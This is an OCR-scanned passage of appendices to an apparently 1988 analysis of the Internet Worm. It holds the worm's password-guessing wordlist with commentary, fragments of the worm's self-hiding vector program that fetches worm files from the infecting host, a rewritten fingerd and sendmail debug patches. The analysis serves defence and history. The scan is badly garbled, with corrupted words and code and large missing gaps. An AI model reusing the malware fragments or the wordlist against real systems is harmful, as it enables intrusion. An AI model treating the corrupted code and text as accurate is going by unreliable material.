Increasing the obstacles to open communication or dccreasing the number of people with access
to in-depth information will not prevent a determined attacker~it will only decrease the pool of
expertise and resources available to fight such an attack. Further, such an mtitude would be
contrary to the whole purpose of having an open, research-oriented network. The Worm was
caused by a breakdown of ethics as well as lapses in security-a purely tcchnological attempt at
prevenllon will not address the full problem, and may just cause new diffiCUlties.
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Appendix A - The Diclionury
What follows is the mini-dictionary of words contained in the worm. These were tried
"when'attempting to break user passwords.' Looking·thro.ugh this list is, in some sense revealing,
bm actually raises a significant question: how was this list chosen?
The assumption has been expressed by many people that this list represents words com-
monly used as passwords; this seems unlikely. Common choices for passwords usually include
fantasy characters, but this list contains nonc of the likely choices (e.g., "hobbit," "dwarf,"
"gandalf," "skywalker," "conan"). Names of relatives and friends are often used, and we sec
women's names like "jessica," "caroline," and "edwina," but no instance of the common
names "jennifer" or "kalhy." Further, there are almost no common men's names such as
"thomas" or either of "stephen" or "sleven" (or "eugene"!). Additionally, none of these
have the initialleners capitalized, although that is often how they are used in passwords.
Also of interest, there arc no obscene words in this dictionary, yet many reports of con-
certed password cracking experiments have revcaled that there arc a significant number of users
who use such words (or phrases) as passwords.
The list contains at least one incorrect spclling: "commradcs" instead of "comrades"; I
. ,also ,believe that "markus' '.. is.a misspelling of "marcus." Some of the words do not appear in
standard dictionaries and arc non-English namcs: "jixian," "vasant," "puneet," "umesh." etc.
There are also some unusual words in this list that I would not expect to be considered com-
mon.: "anthropogenic," "imbroglio," "rochester, It "fungible." "cerulean, It etc.
I imagine that this list was derived [rom some data gathering with a limitcd sct of pass-
words, probably in some known (to the author) computing environment. That is, some
dictionary-based or brule-force attack was used to crack a selection of a few hundred passwords
taken from a small set of machines. Other approaches to gathering passwords could also have
been used-Ethernet monitors, Trojan Horse login programs, etc. However they may have been
cracked. the ones that were broken would then have been added to this dictionary.
Intereslingly enough, many of these words are not in the standard on-line dictionary (in
lusr/dict/words). As such, these words arc useful as a supplement to the main dictionary-based
attack the worm used as strategy #4, but I would suspect them to be of limited use before that
time.
This unusual composilion might be useful in the determination of the author(s) of this
code. One approach would be to lind a system with a user or local diclionary containing these
words. Another would be to find some syslem(s) where a significant quantity of passwords
could be broken with this list.
aaa ama arrow barber berliner canlor
academia amorphous arthur baritone beryl cardinal
aerobics analog athena bass beverly carmen
airplane anchor atmosphere bassoon bicameral carolina
albany andromache azLCcS batman bob caroline
albatross animals azure beater brenda cascades
albert answer bacchus beauty brian castle
alex anthropogenic bailey beethoven bridget cat
alexander anvils banana beloved broadway cayuga
algebra anything bananas benz bumbling celtics
aliases aria bandit beowulf burgess cerulean
alphabet ariadne banks berkeley campanile change
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charles emerald guitar lebesgue outlaw rolex
channing engine gumption lee oxford romano
.. , " ", .charon '. ., .' : -,engineer gunlis .' leland pacific ronald I:,.".'. ';
chester enterprise hacker leroy painless rosebud
-.:cigar "-;;"enzyme - '-'.hamlel· ,·,<,.•lewis ..pakistan '. " ... rosemary
classic ersatz handily light pam roses
clusters establish happening lisa papers ruben
coffee estate harmony louis password rules
coke euclid harold lynne patricia ruth
collins evelyn harvey macintosh penguin sal
commrades extension heblides mack .peoria saxon
computer fairway heinlein maggot percolate scamper
condo felicia hello magic persimmon scheme
cookie fender help malcolm persona scolt
cooper fermat herbert mark pe,e scouy
cornelius fidelity hiawatha markus peter secret
couscous finHe hibernia marty philip sensor
_,creation fishers honey marvin phoenix serenily
creosote flakes horse master pierre sharks
cretin .float horus maurice pizza sharon
daemon flower hutchins mellon plover sheffield
dancer flowers imbroglio merlin plymomh sheldon
daniel foolproof imperial mets polynomial shiva
danny football include michael pondering shivers
dave foresight ingres michelle pork shuttle
december format inna mike poster signature
defoo forsythe innocuous minimum praise simon
deluge fourier irishman minsky precious simple
desperate fred isis moguls prelude singer
develop friend japan moose prince single
dieter frighten jessica morley princeton smile
digital fun jester mozart protect smiles
discovery fungible jixian nancy protozoa smooch
disney gabriel johnny napoleon pumpkin smother
dog gardner joseph nepenthe puneet smJ.[ch
drought garfield joshua ness puppe' snoopy
duncan gauss judilh network rabbit soap
eager george juggle newlon rachmaninoff socrates
easier genrudc julia next rainbow sossina
edges ginger kalhleen noxious raindrop sparrows
edinburgh glacier kennit nUlrillon raleigh Spil
edwin gnu kernel nyquist random spring
edwina golfer kirkland oceanography rascal springer
egghead gorgeous knight ocelot really squires
eiderdown gorges ladle olivetti rebecca slrangle
eileen gosling lambda olivia remote stmtford
einstein gouge lamination oracle rick sLUugan
elephant graham larkin orca ripple subway
elizabeth gryphon larry orwell robOlics success































































Appendix B - The Vector Program
The worm was brought over to each machine it infected via the actions of a
.-.-!,'" ·....···!·,·}·;.small "programi"I··;call····the'··vector';pmgram;-·",Olher individuals have been refening to this
as the grappling hook program. Some people have referred to it as the [].c program,
since that is the suffix used on each copy.
The source for this program would be transferred to the victim machine using ODC
of the methods discussed in !.he paper. It would then be 'compiled' and invoked on
the victim machine with three command line arguments; the canonical IP address of
the infecting machine. the number of the TCP port to connect to on that machine to
get copies of the main wonn files, and a magic number that effectively acted as a
one-time-challenge password. If lhe "server" wann on the remote host and pon did
not receive the same magic number back before starting the transfer, it would immedi·
ately disconnect from the vector program. lbis can only have been to prevent some-
one from attempting to "caplure" !.he binary files by spoofing a wonn "server."
This code also goes Lo some effort to hide itself, both by zeroing out the argu-
ment vector, and by immediately forking a copy of itself. If a failure occurred in
transferring a file, the code deleted all files it had already transferred, then it exited.
One other key item to note in this code is lhal lhe vector was designed to be
able to transfer up to 20 files; it was used wiLh only three. lbis can only make onc
wonder if a more extensive version of lhe wonn was planned for a latcr date, and if
that version might have carried with it olher command files, password data, or possibly


























., sin.sin~addr.s _addr =.:. inct_addr(argv[ll);-.-
sin.sin port = hlons(atoi(argv[2]));
magic = htonl(aLoi(argv[3]));
for(i = 0; i < argc; i++)
forG = 0; argv[iJU]; j++)
argv[iJU] = '\0';
, = 'OCkCl(AF_!NET, SOCK_STREAM, 0);














if(xread(" &(fiIe,[nfile,][OD, 128) 1= 128)
goto bad;
unlink(ftles[nfiles]);








n = read(s. buf, n);
if(n <= 0)
goto bad;






























Appendix C - The Corrected jingerd Program
What follows is a version of the jingerd daemon program developed after the
release' of the' Internet ·Worm:··· This-'version does -not use the gets I/O call presem in
the original version that allowed the Wonn to convert it into an interactive shell.
This code is based on the Berkeley version of fingerd, but is basically a complete
rewrile. There are no restrictions on its distribution, and lhcrc are no warrantics,





A fIXed version of jingerd.
calls that could be used to





This is provided as is and you are free to use it at your own risk.
#include <stdio.h>

















fprintf (stderr. "fingerd: %s: ". msg);
if (s_cnno < sys_ncrr)
fprintf (slderr. "%s\n", sys_errlist[s_ermo]);
else

















































if (!fgets (lipe, LINELEN, Sldin)
exit (I);
for (lp = line, ix = 1; ix < ENTRIES; ix++)
(
if «ap ~ parse (&lp)) = NULL)
break;
,* RFC742: "'[Ww]" == "-I" *,







1* 'Call "the ''finger''- program to do the work for us * I
if (pipe (p) < 0)
oops ("pipe");
child = fork 0;
if (child = a)
{
(void) close (p[O]);
if (p[!] != I)
{
(void) dup2 (p[l], I);
(void) close (p[l]);
}
. execv C/usr/ucb/fingcr", av);
_exit (1);
}
else if (child == -1)
oops (" fork");
1* else.... we're the parent process * I
(void) close (p[I]);
if (!(fp = fdopen (P[OI. "r"»)
oops ("[dopen");
while ((ch = getc (fp» != EOFj
(







Appendix D - Patches to Sendrnail
Enclosed are the official patches to the sendmaU mail delivery agent, as distri-
buted by the' Computer Systems ·Research"'Group at Berkeley. As noted in the paper,
a new version of sendmail will shortly be available for anonymolls FI'P from site
llcbarpa.ecrkcley.edu. It contains many additional bug fixes, including some that close
different potential security flaws. If possible, mat copy should be obmined and used
in place of your current version.
Sendmail has to be either recompiled or patched to disallow the "debug"
option. If you have source, recompile sendmail aflee first applying the following
patch to lhe module srvrsmLp.c:
***/lmp/d22039 Thu Nov 302:26:20 1988


















+ # ifdcf fioldef
+ "debug". CMDDBGDEBUG.





If you don't have source, here's a script to patch sendmail. REMEMBER,
ALWAYS SAVE AN EXTRA COpy IN CASE YOU MAKE A MISTAKE!!
Also, if slrings(l) doesn't find lhe string "debug" in yOUf sendmail binary, you
don't have a problem; ignore this patch.
Note, your offsets as printed by adb may vary! Comments are preceded by
a hash mark, don't type them in, nor expect adb to print lhem out. Also, we're
using scrings(l) to find Lhe decimal offset in the file of certain strings. To find
out if your strings command prints offsets in decimal, put 8 control (non-
printable) characters in a file, followed by fOUf printable characters, and then use
strings to find the offset of yOUf fOUf printable characters. If the offset is "S",
it's using decimal, if it's ··"10" it's using oclal.
- 40-
Script started on Thu Nov 3 18:45:34 1988
# find the decimal offset of the strings "debug" and "showq" in the
# scndmail binary.
okeeffe:tmp {2} strings -0 -a scndmaill cgrcp 'dcbuglshowq'
0097040 showq
0097046 debug
okeeffc:unp {3} adb -w sendmail
# set the map. then set the default radix: to base 10
?m 0 Oxffffffff 0
OtlO$d
radix=lO base len
# check to make sure that strings(l) was right. and then find out what
# the byte pattern for "Showq" is for your machine. Note that adb





# check on the SIring "debug", then, overwrite the first fOUf bytes,
# move up 4 bytes, and then QvcIWrile the last two bytes with the by[C




97046: 1684365941 = 1936224119
.+4
.?w Ox7100
97050: 26368 = 28928
# check to make sure we wrote out the correct string.
97046?s
97046: showq




scripL done on Thu Nov 3 18:47:42 1988
